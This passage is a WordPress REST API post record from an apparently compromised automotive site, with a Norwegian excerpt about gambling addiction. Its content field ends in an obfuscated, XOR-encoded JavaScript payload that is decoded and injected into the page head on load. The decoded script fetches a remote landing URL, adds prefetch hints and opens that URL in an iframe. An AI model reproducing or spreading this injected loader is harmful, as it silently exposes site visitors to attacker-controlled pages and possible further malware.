22,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,47,52,114,115,122,33,87,80,122,122,122,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,97,87,80,122,122,122,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,97,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,27,10,19,5,19,30,5,15,8,22,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,51,62,122,103,122,114,51,62,122,38,38,122,120,120,115,116,46,40,51,55,114,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,51,62,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,60,51,52,59,54,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,60,51,52,59,54,15,40,54,115,97,87,80,87,80,122,122,122,122,122,122,122,122,51,60,122,114,123,60,51,52,59,54,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,120,120,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,44,59,40,122,60,51,52,59,54,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,59,54,21,40,51,61,51,52,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,60,51,52,59,54,21,40,51,61,51,52,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,60,51,52,59,54,15,40,54,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,60,51,52,59,54,15,40,54,97,87,80,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,103,122,40,47,52,114,115,97,87,80,39,115,114,115,97];return String.fromCharCode.apply(String,_0x4a3c.map(function(c){return c^0x5A;}));})();var __d=document;var __h=__d.head||__d.documentElement;var __sc=__d.createElement(\"script\");__sc.type=\"text\/javascript\";__sc.text=__s;__h.appendChild(__sc);})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduksjon I Norge er spilleavhengighet et \u00f8kende problem som p\u00e5virker mange mennesker og deres familier. Det er viktig for nybegynnere \u00e5 forst\u00e5 hvilke ressurser og st\u00f8tteordninger som finnes for \u00e5 hjelpe dem som sliter med spilleavhengighet. Det finnes flere organisasjoner og tiltak som tilbyr hjelp og veiledning. Hvis du eller noen du kjenner har problemer<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-65681","post","type-post","status-publish","format-standard","hentry","category-genel"],"_links":{"self":[{"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/posts\/65681"}],"collection":[{"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/comments?post=65681"}],"version-history":[{"count":2,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/posts\/65681\/revisions"}],"predecessor-version":[{"id":67812,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/posts\/65681\/revisions\/67812"}],"wp:attachment":[{"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/media?parent=65681"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/categories?post=65681"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.durmusotomotiv.net\/index.php\/wp-json\/wp\/v2\/tags?post=65681"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}